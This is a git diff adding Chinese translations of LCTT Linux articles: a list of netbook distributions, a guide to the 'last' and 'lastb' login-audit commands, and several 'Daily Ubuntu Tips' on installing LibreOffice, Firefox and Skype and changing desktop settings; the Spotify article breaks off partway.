基于Linux的操作系统的优点是它们可以根据不同的需求定制。因此,在这里我们将为您呈现6款专为上网本设计不同于其它而又有趣的顶尖发行版。 + +评定一款上网本的OS是否良好,主要取决于它能否“物尽其用”。当在闲置模式下,内存使用应该降到最小限度,你需要一个很好的导航系统来避免屏幕的错乱。 + +对于一名 Linux 爱好者来说,拥有一款对本本优化过的操作系统,同时还是基于开源技术,这该有多好啊。 + +![](http://1-ps.googleusercontent.com/h/www.efytimes.com/admin/useradmin/photo/150x150xlU3z33744PM1132014.jpg.pagespeed.ic.3AoI0od5vQ.jpg) + +1. **AntiX** - 利用了 iceWM 窗口管理器,能帮助维持初始内存的低占用。虽然它并不像 Ubuntu, Mint 和 Elementary 那样风靡,但是它功能齐全。在底部有一个导航任务栏,桌面上的标准跨操作系统图标已经存在数年之久。AntiX 带有一系列的应用程序,其中有少部分不太适合用于上网本。 + +2. **SparkyLinux** - Razor-Qt 的外观和体验是非常传统的,底部有一个面板,菜单位于底部的左下角。SparkyLinux 带有一系列应用程序。开发者再次选择了 LibreOffice 套件,而不是更加轻量的 Abiword 和 Gnumeric 工具包。 + +3. **Lubuntu** - LXDE 桌面非常的轻量,也近乎 Xubuntu 那么容易定制。这桌面在熟悉不过了,在底部有一个面板带有菜单和系统托盘图标。不过,你可以根据自己需要多面板自定义 Lubuntu 外观。Sylpheed 邮件客户端,火狐浏览器,以及 Abiword 和 Gnumeric ,这些应用程序对于上网本来说在合适不过了。 + +4. **OS4** - 基于 Xubuntu。使用了 XFCE 桌面,完美定制,你可以尝试任何一种方式来工作。XFCE 是一款轻量级的桌面环境,在上网本上运行极佳。然而,你需要安装额外的限制包来播放 Flash 视频和 MP3 , 但是OS4会让这些立马工作。同时安装有 Commodore Amiga 模拟器,你如果喜欢在你的上网本上尝试一款经典复古游戏,这是个再好不过的选项。 + +5. **Point Linux** - 它使用了MATE桌面,使它变得更加独特。MATE 桌面最初源于 GNOME2 ,但是现在它已经凭借自身发展成一个真正优秀的桌面环境。Point Linux 外观看起来非常时尚。菜单看起来非常好,在上网本上的执行效率也很高。类似于 LXDE 和 XFCE 桌面,它也有很高的定制性。Point Linux 默认带有 4 个虚拟工作区,允许你最大限度的使用你的上网本,因此它受到内存和处理器处理显示问题的限制。 + +6. **Elementary OS** - 如果你在寻找一些非常时尚的东西,那么这款绝对适合你。它没有安装 Office 套件,但是你可以挑选你想要的工具。对于网页浏览器你可以用 Midori,邮件客户端可以用 Geary。安装有用来观看视频的 Totem 以及一款名为 Noise的紧凑型音频应用程序。 + +来源: eyerydaylinuxuser.com + +-------------------------------------------------------------------------------- + +via: http://www.efytimes.com/e1/fullnews.asp?edid=126643 + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201402/Built in Audit Trail Tool \342\200\223 Last Command in Linux.md" "b/published/201402/Built in Audit Trail Tool \342\200\223 Last Command in Linux.md" new file mode 100644 index 0000000000..5509f68c47 --- /dev/null +++ "b/published/201402/Built in Audit Trail Tool \342\200\223 Last Command in Linux.md" @@ -0,0 +1,185 @@ +Linux内置的审计跟踪工具 - last命令 +================================================================================ + +![](http://linoxide.com/wp-content/uploads/2013/12/linux-last-command.jpg) + +如果你是一个服务器管理员,你或许知道你要保护你的服务器的话,不仅是从外部,还要从内部保护。linux有一个内置工具来看到最后登陆服务器的用户,可以帮助你保护服务器。 + +这个命令是**last**。它**对于追踪非常有用**。让我们来看一下last可以为你做些什么。 + +### last命令的功能是什么 ### + +**last**显示的是自**/var/log/wtmp**文件创建起所有登录(和登出)的用户。这个文件是二进制文件,它不能被文本编辑器浏览,比如vi、Joe或者其他软件。这是非常有用的,因为用户(或者root)不能像他们希望的那样修改这个文件。 + +last会给出所有已登录用户的用户名、tty、IP地址(如果用户是远程连接的话)、日期-时间和用户已经登录的时间。 + +### 如何运行last ### + +你只要在控制台中输入**last**即可。这是个例子: + + $ last + + leni pts/0 10.0.76.162 Mon Dec 2 12:32 - 13:25 (00:53) + pungki tty1 Mon Dec 2 09:31 still logged in + reboot system boot 2.6.32-358.23.2 Mon Dec 2 09:20 - 13:25 (04:05) + +这里是如何阅读last信息: + +- 第一列告诉谁是用户 +- 第二列给出了用户如何连接的信息 + + - pts/0 (伪终端) 意味着从诸如SSH或telnet的远程连接的用户 + + - tty (teletypewriter) 意味着直接连接到计算机或者本地连接的用户 + + - 除了重启活动,所有状态会在启动时显示 + +- 第三列**显示用户来自哪里**。如果用户来自于远程计算机,你会看到一个主机名或者IP地址。如果你看见:0.0 或者什么都没有,这意味着用户通过本地终端连接。除了重启活动,内核版本会显示在状态中。 +- 剩下的列显示**日志活动发生在何时**。括号中的数字告诉我们连接持续了多少小时和分钟。 + +### 日常操作中last的一些示例 ### + +#### 限制显示行的数目 #### + +当你有很多行要显示时,你可以限制你想看到的行的数目.使用 **-n 参数**来这么做。 + + $ last -n 3 + + leni pts/0 10.0.76.162 Mon Dec 2 12:32 - 13:25 (00:53) + pungki tty1 Mon Dec 2 09:31 still logged in + reboot system boot 2.6.32-358.23.2 Mon Dec 2 09:20 - 13:25 (04:05) + +**-n** 参数会使last显示从当前时间到以后的3条记录。 + +#### 不显示主机名 #### + +使用 **-R** 参数来这么做。这里是例子 : + + $ last -R + + leni pts/0 Mon Dec 2 12:32 - 13:25 (00:53) + pungki tty1 Mon Dec 2 09:31 still logged in + reboot system boot Mon Dec 2 09:20 - 13:25 (04:05) + +如你所见,现在在也没有关于主机或者IP地址的信息了。 + +#### 最后一列显示主机名 #### + +要这么做,我们使用 **-a**参数 + + $ last -a + + leni pts/0 Mon Dec 2 12:32 - 13:25 (00:53) 10.0.76.162 + pungki tty1 Mon Dec 2 09:31 still logged in :0.0 + reboot system boot Mon Dec 2 09:20 - 13:25 (04:05) 2.6.32-358.23.2.el6.i686 + +现在主机信息诸如10.0.76.162 会放在最后一列。 + +#### 显示完整登入登出时间日期 #### + +对于此,你可以使用 **-F** 参数。这个是个示例: + + $ last -F + + leni pts/0 10.0.76.162 Mon Dec 2 12:32:24 2013 – Mon Dec 2013 13:25:24 2013 (00:53) + +#### 打印特定的用户名 #### + +如果你想要追踪特定的用户,你可以特别打印它。在last命令后面输入用户名。 + + $ last leni + + leni tty1 Mon Dec 2 18-42 still logged in + leni pts/0 Mon Dec 2 12:32 - 13:25 (00:53) 10.0.76.162 + +或者你想要知道**reboot**何时完成,你也可以这样显示它: + + $ last reboot + + reboot system boot Mon Dec 2 09:20 - 16:55 (07:34) + reboot system boot Sun Dec 1 04:26 - 04:27 (00:01) + reboot system boot Wed Nov 27 20:27 - 01:24 (04:57) + reboot system boot Tue Nov 26 21:06 - 06:13 (09:06) + +#### 打印特定 / pts #### + +last同样可以打印特定tty/pts的信息. 只要在last命令后面输入tty名字或者pty名字。 + +这里有一些例子: + + $ last tty1 + + pungki tty1 Mon Dec 2 09:31 still logged in + pungki tty1 Mon Dec 2 04:26 – down (00:00) + pungki tty1 Mon Dec 2 04:07 – down (00:00) + pungki tty1 Sun Dec 1 18:55 – 04:07 (09:12) + + $ last pts/0 + + leni pts/0 10.0.76.162 Mon Dec 2 12:32 - 13:25 (00:53) + pungki pts/0 :0.0 Wed Nov 27 20:28 – down (04:56) + +当你看到 **down 的值** - 比如上面的第二行,它意味着用户从某个时间登录直到系统重启或关机。 + +#### 使用另一个文件而不是 /var/log/wtmp #### + +默认上,last命令会从**/var/log/wtmp**中解析信息。如果你想要**last命令**从另外一个文件解析,你可以使用**-f** 参数。比如,当日志切割后,让我们假设切割后,之前的文件名变为**/var/log/wtmp.1**。那么last命令会像这样。 + + $ last -f /var/log/wtmp.1 + +#### 显示运行级别改变 #### + +这里有个**-x**参数来显示运行级别。这里示例输出: + + pungki tty1 Mon Dec 2 19:21 still logged in + runlevel (to lvl 3) 2.6.32-358.23.2 Mon Dec 2 19:20 – 19:29 (00:08) + reboot system boot 2.6.32-358.23.2 Mon Dec 2 19:20 – 19:29 (00:08) + shutdown system down 2.6.32-358.23.2 Mon Dec 2 18:56 – 19:20 (00:23) + runlevel (to lvl 0) 2.6.32-358.23.2 Mon Dec 2 18:56 – 18:56 (00:00) + leni tty1 Mon Dec 2 18:42 – down (00:00) + +你可以看到这里有两个运行级别。运行级别**to lvl 3**的条目意味着系统运行在完整的控制台模式,而没在X window或者GUI中。同时,当系统**关机**时,实际上是切换为**运行级别0**,这就是为什么last会显示**to lvl 0**。 + +#### 查看失败登录 #### + +**last**命令用了记录成功登录,而 **lastb** 命令**记录失败的登录尝试**。你**必须拥有root**权限才能运行lastb命令。这里有一个lastb命令的示例输出。lastb会解析/var/log/btmp的信息。 + + # lastb + + leni tty1 Mon Dec 2 22:12 – 22:12 (00:00) + rahma tty1 Mon Dec 2 22:11 – 22:11 (00:00) + +#### 切割日志 #### + +因为*/var/log/wtmp**记录每次的登录活动,文件的大小可能会快速地增长。默认上,Linux会每月**切割 /var/log/wtmp/**。切割的策略放在/etc/logrotate.conf 文件中。这里是我**/etc/logrotate.conf**文件的内容。 + + /var/log/wtmp { +   monthly +   create 0664 root umtp +   minsize 1M +   rotate 1 + } + +对于 **/var/log/btmp**, 这里是默认的倒换活动配置 + + /var/log/btmp { +   missingok +   monthly +   create 0600 root umtp +   minsize 1M +   rotate 1 + } + +你可以根据需要自己修改。 + +### 总结 ### + +你可以结合这些参数来自定义last和lastb的输出。所有可以**运行于last命令**的参数都**可运行在**lastb命令上。更多细节,请通过在控制台输入**man last**来访问。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-last-command/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201402/Conky Harmattan Is A Stylish Desktop Companion For Linux.md b/published/201402/Conky Harmattan Is A Stylish Desktop Companion For Linux.md new file mode 100644 index 0000000000..fb74db1ba5 --- /dev/null +++ b/published/201402/Conky Harmattan Is A Stylish Desktop Companion For Linux.md @@ -0,0 +1,51 @@ +Conky Harmattan : 一款时尚的Linux桌面助手 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/01/conky-harmatten.jpg) + +**俗话说得好,‘力量越大,责任越大’ - 至少在Conky这个Linux的多功能的系统监视工具上面是完全正确的。** + +一方面它特性强大,灵活性强,另一方面它的设置比较麻烦。 + +![Several themes and modes are included](http://www.omgubuntu.co.uk/wp-content/uploads/2014/01/Screen-Shot-2014-01-21-at-20.42.42.png) + +**Conky Harmattan**,一个来源于deviantArt用户Zagortenay333的新的主题收集器,同样也不例外。虽然屏幕截图显示的是一个能打动大多数人的时尚桌面小工具,但看到了解到它的复杂配置后估计会吓跑许多人了。 + +为了帮助使用者,它的作者提供了**一步一步的安装指导**,如果安装过程未按正常状况进行,它也提供了一个**有用的“故障排除” 手册**告诉你如何修复一些最常见的问题。 + +Harmatten包括: + +- **12个主题**,包括Ubuntu Touch,Numix和Elementary designs +- **4种显示模式**,包括‘mini’和‘compact‘ +- **2种天气模式** +- **天气单位转换** + +不像大多数Conky主题,Harmattan不会将别人屏幕的样子复制到你的屏幕上。 + +默认情况下Harmattan是“固定”;你需要按下ALT键并用鼠标点击和移动它。或者你也可以在设置中调整conky-config中的'x'和'y'值 - 这会浪费不少时间。此外,也别忘记修改Yahoo!天气预报小部件的地区代码,它在.conkyrc里面。 + +### 获取Harmattan Conky ### + +要使用这个主题,你需要先从Ubuntu软件中心安装conky-all和curl。如果没有这些某些功能可能无法正常工作。 + +- [Install conky-all in Ubuntu][1] +- [Install curl in Ubuntu][2] + +下一步,从作者deviantArt的页面上下载主题。 + +- [Download Conky Harmattan][3] + +之后提取Harmattan文件,按Ctrl + H在Nautilus文件浏览器查看“隐藏”的文件。 + +最后,根据‘Installation’指导进行。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/01/conky-harmattan-for-linux + +译者:[乌龙茶](https://github.com/yechunxiao19) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:apt:conky-all +[2]:apt:curl +[3]:http://www.deviantart.com/art/Conky-Harmattan-426662366 diff --git "a/published/201402/Daily Ubuntu Tips \342\200\223 How To Manually Install LibreOffice In Ubuntu.md" "b/published/201402/Daily Ubuntu Tips \342\200\223 How To Manually Install LibreOffice In Ubuntu.md" new file mode 100644 index 0000000000..df80e9f3ff --- /dev/null +++ "b/published/201402/Daily Ubuntu Tips \342\200\223 How To Manually Install LibreOffice In Ubuntu.md" @@ -0,0 +1,56 @@ +每日 Ubuntu 小贴士——如何在 Ubuntu 中手动安装 LibreOffice +================================================================================ + +这个简短教程将指导你如何在 Ubuntu 中手动安装 LibreOffice。正如你所知,LibreOffice 已经预装在 Ubuntu 中了。 + +这个版本是 Ubuntu 的定制版本,能够在 Ubuntu 中更好的工作。它也集成了 Ubuntu 的应用菜单和其它设置。 + +[下载页面][1]中的 LibreOffice 官方版本和你从 Ubuntu 获得的默认版本是不同的。你获得的并不是一个非标准版本,但它稍加定制再加入到 Ubunut 软件库中。 + +如果你想使用 LibreOffice 的官方标准版,你必须从[下载页面][1]手动下载。这意味着,完全卸载当前版本并从官方下载页面下载.deb包。 + +要做到这一点你必须先完全从 Ubuntu 中清除 LibreOffice。 + +### 从 Ubuntu 中卸载 LibreOffice ### + +要在 Ubuntu 中手动安装 LibreOffice 的官方版本,必须先卸载当前版。在 Ubuntu 中要卸载 LibreOffice,运行下面的命令。 + + sudo apt-get remove --purge libreoffice* && sudo apt-get autoremove + +运行以上命令之后,重启你的电脑。当你再次登录以后,从[下载页面][1]下载 LibreOffice 的.deb包。 + +### 在 Ubuntu 中手动安装 LibreOffice ### + +下载.deb包后,打开终端,在你的 home 目录进入 Downloads 文件夹。默认情况下,Firefox下载的文件保存在那里。 + + cd ~/Downloads + +![](http://www.liberiangeek.net/wp-content/uploads/2014/01/libreofficemanualinstall.png) + +然后运行下面的命令来提取下载文件中的.tar.gz文件。 + + tar -xvf LibreOffice_*.tar.gz + +解压.tar.gz文件后,你会在 Downloads 文件夹下看到一个新的 LibreOffice Deb 文件夹。要开始手动安装 LibreOffice,运行下面的命令。 + + sudo dpkg -i LibreOffice_*/DEBS/*.deb + +运行上面的命令后,LibreOffice 将被安装并可以使用了。 + +接下来,进入 Unity Dash 并启动 LibreOffice。以上就是指导你在 Ubuntu 中手动安装 LibreOffice 的方法。 + +![](http://www.liberiangeek.net/wp-content/uploads/2014/01/libreofficemanualinstall1.png) + +如果在 Ubuntu 中手动安装 LibreOffice,很有可能每次有版本更新和安全更新时你必须手动更新。 + +或者你仅仅希望 Canonical(Ubuntu母公司)通过它的储存库进行 LibreOffice 的安装和补丁/更新管理。 + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2014/01/daily-ubuntu-tips-how-to-manually-install-libreoffice-in-ubuntu/ + +译者:[乌龙茶](https://github.com/yechunxiao19) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.libreoffice.org/download/ diff --git "a/published/201402/Daily Ubuntu Tips \342\200\223 Manually Install Any Version Of Firefox In Ubuntu.md" "b/published/201402/Daily Ubuntu Tips \342\200\223 Manually Install Any Version Of Firefox In Ubuntu.md" new file mode 100644 index 0000000000..becc142d5b --- /dev/null +++ "b/published/201402/Daily Ubuntu Tips \342\200\223 Manually Install Any Version Of Firefox In Ubuntu.md" @@ -0,0 +1,67 @@ +每日 Ubuntu 小技巧——在 Ubuntu 中手动安装任何版本的 Firefox +================================================================================ + +Firefox 是 Ubuntu 中主要的网络浏览器。它预装在系统中,并添加到默认的 Ubuntu 软件库中以获得 Firefox 最新版本的自动更新。 + +大多数用户并不用担心安装或使用 Firefox 的问题,因为没有什么问题了,它已经安装并可以使用。你获取的总是 Firefox 在 Ubuntu 软件库中的版本,除非更新 Canonical 的软件到最新版本。 + +现在,如果你想尝试其它的 Firefox 版本,你就必须手动下载并在 Ubuntu 中安装它,这个简短教程将指导你如何正确地在 Ubuntu 中做到这一点。 + +因为 Firefox 集成在 Ubuntu 中,如果你试图完全卸载它,很可能会破坏其它东西。因此要安装其它版本的最好办法就是为每个版本分别创建文件夹并进行符号连接。 + +### 在 Ubuntu 中下载并安装 Firefox ### + +如果你想在 Ubuntu 中手动下载最新版本的 Firefox,进入它的[下载页面][1]。通过它你将可以获取到最新版本并安装它。 + +如果你想从初始版本安装其它版本的 Firefox,[访问这个页面][2]。在这你将看到从0.8开始的每个版本。 + +下载完你想要的版本之后,切换到 home 目录下的下载文件夹,因为 Ubuntu 的大多数文件被下载到了这里。 + + cd ~/Downloads + +![](http://www.liberiangeek.net/wp-content/uploads/2014/02/firefoxmanualinstall.png) + +### 配置 Firefox ### + +由于大多数 Firefox 下载文件以.tar和.bz2格式保存,必须从这些压缩包中提取文件。有很多方法可以在 Ubuntu 中解压缩文件。 + +比如我下面使用的命令。很容易从.tar和.bz2中提取文件。 + + tar -xjf firefox*.tar.bz2 + +解压后,将会有一个新的 Firefox 文件出现在下载文件夹中。这其中包含了所有的 Firefox 的文件和可执行文件。 + +由于我们不想删除当前安装的 Firefox,我们必须给每个版本的 Firefox 创建一个单独的文件夹。因此,对于 Firefox 版本30,使用下面的命令在/opt目录下创建一个包含新 Firefox 内容的文件夹。 + + sudo mv firefox/ /opt/firefox30 + +现在,**/opt/firefox30/**目录包含的所有文件都是版本30的。 + +### 创建新的 Firefox 可执行符号链接 ### + +默认情况下,Firefox 的可执行文件在这个路径下:**/user/bin/firefox**。我们想要做的是临时创建一个备份,这样我们就可以使用我们的自定义安装的可执行文件。 + +要做到这一点,运行下面的命令。 + + sudo mv /usr/bin/firefox /usr/bin/firefox-old + +现在,我们已经从其默认位置移动了 Firefox 的可执行文件,我们必须将默认位置链接到我们新的自定义安装文件。要做到这一点,运行下面的命令来创建我们版本30的一个符号链接。 + + sudo ln -s /opt/firefox30/firefox /usr/bin/firefox + +这样就设置完成了,我们自定义安装的 Firefox 是 Ubuntu 默认的。每一次启动 Firefox,它将通过之前的新链接加载新的可执行文件。 + +![](http://www.liberiangeek.net/wp-content/uploads/2014/02/firefoxmanualinstall1.png) + +以上方法同样适用于 64-bit 版本的 Firefox。 + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2014/02/daily-ubuntu-tips-manually-install-any-version-of-firefox-in-ubuntu/ + +译者:[乌龙茶](https://github.com/yechunxiao19) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.mozilla.org/en-US/firefox/all/ +[2]:https://ftp.mozilla.org/pub/mozilla.org/firefox/releases/ diff --git "a/published/201402/Daily Ubuntu Tips \342\200\223 Skype Minor Update Fixes PulseAudio, 64-bit Issues.md" "b/published/201402/Daily Ubuntu Tips \342\200\223 Skype Minor Update Fixes PulseAudio, 64-bit Issues.md" new file mode 100644 index 0000000000..b6bce833d1 --- /dev/null +++ "b/published/201402/Daily Ubuntu Tips \342\200\223 Skype Minor Update Fixes PulseAudio, 64-bit Issues.md" @@ -0,0 +1,48 @@ +Ubuntu 每日贴士- Skype小更新,修复64位系统上PulseAudio问题 +================================================================================ +Skype最近为Linux系统发布了一个小更新,包括在Ubuntu上修复PulseAudio 3.x 和 4.x 的音频噪声问题,解决由于缺失libasound2-plugins:i386和其他导致在Ubuntu/Debian 64位系统上的崩溃。 + +如果你正在Ubuntu上使用Skype,你也许想要升级来获取这些修复。这个版本除了解决这些问题没有其他新的。 + +这是根据changelog的完整修复列表。 + +- **临时解决** PulseAudio 3.x 和 4.x 音频噪声问题。 +- **Bug 修复** 在打开不带表情符号的聊天时的崩溃。 +- **Bug 修复** 由于缺失libasound2-plugins:i386依赖而导致的在Ubuntu/Debian 64位系统上不正常崩溃。 +- **Bug 修复** 一些拨号面板数字不能正常工作。 + +对于Ubuntu用户,这里是如何更新。 + +如果你已经安装了Skype,你要在更新前先卸载它因为它会也许会创建与当前安装冲突的文件。 + +要从Ubuntu移除Skype,在终端上运行命令。 + + sudo apt-get autoremove --purge skype + +在卸载完Skype,进入[Skype 下载界面][1]并获取最新的Ubuntu下的版本。保存下载并在Ubuntu软件中心打开它。 + +![](http://www.liberiangeek.net/wp-content/uploads/2014/01/skypeubuntuupgrade.png) + +因为软件中心必须下载额外的Skype包,安装也许会花费一些时间,请耐心等待。 + +![](http://www.liberiangeek.net/wp-content/uploads/2014/01/skypeubuntuupgrade1.png) + +如果你通过软件中心安装Skype时遇到了问题,进入下载文件夹并运行下面的命令来强制按照下面的命令安装Skype。 + + sudo dpkg -i skype-ubuntu*.deb; sudo apt-get -f install + +安装完Skype后,进入Unity 面板并运行此时最新的4.2.0.14版本。 + +![](http://www.liberiangeek.net/wp-content/uploads/2014/01/skypeubuntuupgrade2.png) + +就是这样!享受吧! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2014/01/daily-ubuntu-tips-skype-minor-update-fixes-pulseaudio-64-bit-issues/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.skype.com/en/download-skype/skype-for-computer/ diff --git "a/published/201402/Daily Ubuntu Tips \342\200\223 Take Screenshots Of your Desktop.md" "b/published/201402/Daily Ubuntu Tips \342\200\223 Take Screenshots Of your Desktop.md" new file mode 100644 index 0000000000..24a09ac771 --- /dev/null +++ "b/published/201402/Daily Ubuntu Tips \342\200\223 Take Screenshots Of your Desktop.md" @@ -0,0 +1,42 @@ +每日Ubuntu小技巧——截屏 +=========================================================================== + +Ubuntu 是一个功能强大的现代化操作系统,支持你进行多种任务。从使用 Libreoffice 创建和编辑文档到使用 GIMP 处理图片,Ubuntu 都是最佳选择。 + +如果你需要一个功能强大的操作系统来完成工作,那么你一定会考虑选择 Ubuntu。 + +你可以用 Ubuntu 来完成的另一件事情是为你的桌面截屏或者激活应用程序的窗口。你可以安装很多第三方工具来完成这些事情,但是实际没有必要,因为 Ubuntu 安装时已自带这些功能。 + +如果你想向别人展示如何在Ubuntu上面做一些事情,那么这个应用程序就非常有用。截屏得到的图片文件可以保存,也可以通过email发送给其他人。 + +使用截屏程序,需要进入到面板界面或者直接按下键盘上面的 Windows 键进入面板,Windows 键指的是键盘空格键的左边有 Windows 图标的键。 + +当面板打开后,找到“截屏”,然后打开这个程序(译者注:需要在已安装程序中查找或者直接在搜索框中输入“截图”)。 + +以下是你能够通过这个截屏程序做的操作: + +- 截取整个屏幕 +- 截取当前程序窗口 +- 截取特定区域 + +如果你想在截图时将鼠标箭头一起截取,可以将在下方图片 Effects 选项中的"Include pointer"选项选中即可。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/12/screenshot.png) + +当你选择好你的截屏方式后,点击图片中的‘**截图**’按钮,然后程序就会退出并且自动保存图片。 + +如果你想截取特定区域,需要选择该方式,当你点击‘**截图**’按钮时,鼠标会变成十字形状。此刻,你可以拖拽这个十字形状的鼠标,来得到任意你想截取的区域。在你停止拖拽鼠标后,图片会自动截取。 + +以上就是你在使用 Ubuntu 时,如何完成一个截图的操作。 + +希望能够帮助到你,欢迎再来。 + +享受截屏的欢乐! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/12/daily-ubuntu-tips-take-screenshots-of-your-desktop/ + +译者:[liuaiping](https://github.com/liuaiping) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201402/Daily Ubuntu Tips \342\200\223 Turn Off Shutdown \357\274\217 Restart Confirmation In Ubuntu.md" "b/published/201402/Daily Ubuntu Tips \342\200\223 Turn Off Shutdown \357\274\217 Restart Confirmation In Ubuntu.md" new file mode 100644 index 0000000000..f3f6ac7c51 --- /dev/null +++ "b/published/201402/Daily Ubuntu Tips \342\200\223 Turn Off Shutdown \357\274\217 Restart Confirmation In Ubuntu.md" @@ -0,0 +1,44 @@ +每日 Ubuntu 小技巧——关闭 Ubuntu 中的关机/重启确认 +================================================================================ + +对于 Ubuntu 新手来说,有很多新东西要学,但是网上很多教程不是针对新手的。 + +在这里,我们不走寻常路。不能说全部的教程都是为初学者准备,但至少大部分是。 + +这篇文章也是一篇新手教程,并且展示如何在每次执行关机、重启、注销时禁用确定框。 + +Ubuntu 总是配置好了一个对话框,每当你要关机、重启或者注销时提示你。 + +这是一个保护措施,防止你本不打算这样做却错误关机或重启。 + +不是所有人都想每次关机的时候被询问。忙碌的小伙伴们可能就让自己的电脑那么醒着,因为他执行了关闭命令,却忘了确认那个该死的对话框。 + +这个教程将会指导你每一次关机的时候如何避免那个对话框。 + +当这个特性被激活,你将会收到下面的提示。 + +> Are you sure you want to close all programs and shutdown your computer? + +运行下面命令关掉它。 + +按下键盘上的 **Ctrl – Alt – T** 打开终端。然后敲击下面的命令 + + gsettings set com.canonical.indicator.session suppress-logout-restart-shutdown true + +就这么简单,你再也不会被该死的确认对话框骚扰了。 + +如果想恢复这个对话框,敲下面的命令就可以了 + + gsettings set com.canonical.indicator.session suppress-logout-restart-shutdown false + +![](http://www.liberiangeek.net/wp-content/uploads/2014/01/shutdownubuntuconfirm.png) + +干巴爹! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2014/01/daily-ubuntu-tips-turn-off-shutdown-restart-confirmation-in-ubuntu/ + +译者:[ggaaooppeenngg](https://github.com/ggaaooppeenngg) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201402/Daily Ubuntu Tips \342\200\223 Upgrade To Ubuntu 14.04 (Trusty Tahr) From 13.10.md" "b/published/201402/Daily Ubuntu Tips \342\200\223 Upgrade To Ubuntu 14.04 (Trusty Tahr) From 13.10.md" new file mode 100644 index 0000000000..2ea8cb32fe --- /dev/null +++ "b/published/201402/Daily Ubuntu Tips \342\200\223 Upgrade To Ubuntu 14.04 (Trusty Tahr) From 13.10.md" @@ -0,0 +1,41 @@ +Ubuntu 每日贴士:从Ubuntu 13.10升级到14.04(Trusty Tahr) [值得信赖的塔尔羊] +================================================================================ +虽然Ubuntu 14.04 按计划不会近期发布正式版,但那些想要尝试最新软件和系统的人现在可以从Ubuntu 13.10 就地升级到 14.04了。 + +Ubuntu 14.04 目前计划在2014.4.17发布,但是你不必等那么长的时间来升级尝试。这个简要的教程给你展示了如何就地从Ububtu 13.10 升级到 14.04。 + +就地升级是你在已存在的Ubuntu上运行update-manager命令来升级到下一版。它允许你保留你大多数的文档,设定和一些程序。 + +大多数就地升级依赖于一个可靠的网络连接。没有良好稳定的连接,可能无法使用这个方法升级Ubuntu。 + +如果你无法使用网络升级,你还可以通过CD/DVD盘来就地升级。这个方法允许你不通过网络连接离线升级Ubuntu。 + +### 升级到 Ubuntu 14.04 ### + +为了升级到Ubuntu 14.04, 你首先要给你要升级的电脑做好准备工作。请运行下面的命令更新所有存在的包和内核。 + + sudo apt-get update && sudo apt-get dist-upgrade && sudo apt-get autoremove + +完成上述更新后,你可能需要重启来在升级前应用新的包和内核。 + +接着,按下键盘上的**Alt+F2**键来打开Ubuntu上的命令窗口。当窗口打开后,输入下面的命令并按下**回车**。 + + update-manager –d + +Ubuntu接着应该带着升级选项会打开update-manager。按下**Upgrade** 开始升级你的机器。 + +![](http://www.liberiangeek.net/wp-content/uploads/2014/01/ubuntu1404upgrade.png) + +就是这样! + +等待Ubuntu完成下载并安装所有的更新包。当一切完成时,你会被提示重启计算机。 + +享受吧! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2014/01/daily-ubuntu-tips-upgrade-to-ubuntu-14-04-trusty-tahr-from-13-10/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201402/Daily Ubuntu Tips \342\200\223 Use Spotify In Ubuntu Linux.md" "b/published/201402/Daily Ubuntu Tips \342\200\223 Use Spotify In Ubuntu Linux.md" new file mode 100644 index 0000000000..d11ad16640 --- /dev/null +++ "b/published/201402/Daily Ubuntu Tips \342\200\223 Use Spotify In Ubuntu Linux.md" @@ -0,0 +1,43 @@ +每日Ubuntu小技巧——在Ubuntu中使用音乐软件“声破天”Spotify +================================================================================ + +Spotify(译者注:下面译为"声破天")云音乐服务已经解除了对所有用户及平台(web端/桌面端/手机端)的时间限制,现在用户可以在任何平台、任何时间无限制地听免费音乐。 + +起初,声破天有个时间限制,新用户自注册帐号时起的前六个月可以免费听音乐,但是这个限制取决于你所在的地区,不过现在所有免费帐号都可以无限制听音乐。 + +任何使用 Ubuntu 桌面客户端听音乐的用户也没有了之前对免费账户听音乐的限制,Ubuntu 用户可以使用他们最喜欢的桌面操作系统来享受免费音乐。 + +如果你现在有点小激动,但是还没有安装声破天,那么这里有一个快捷方法来指导你如何在 Ubuntu 上安装最新版本的声破天。 + +一些地区还不支持声破天的注册,这些地区的用户必须得想点别的办法了(译者注:需要使用代理),这是因为声破天并不是所有国家都支持。下面图片显示的是目前声破天支持的国家列表: + 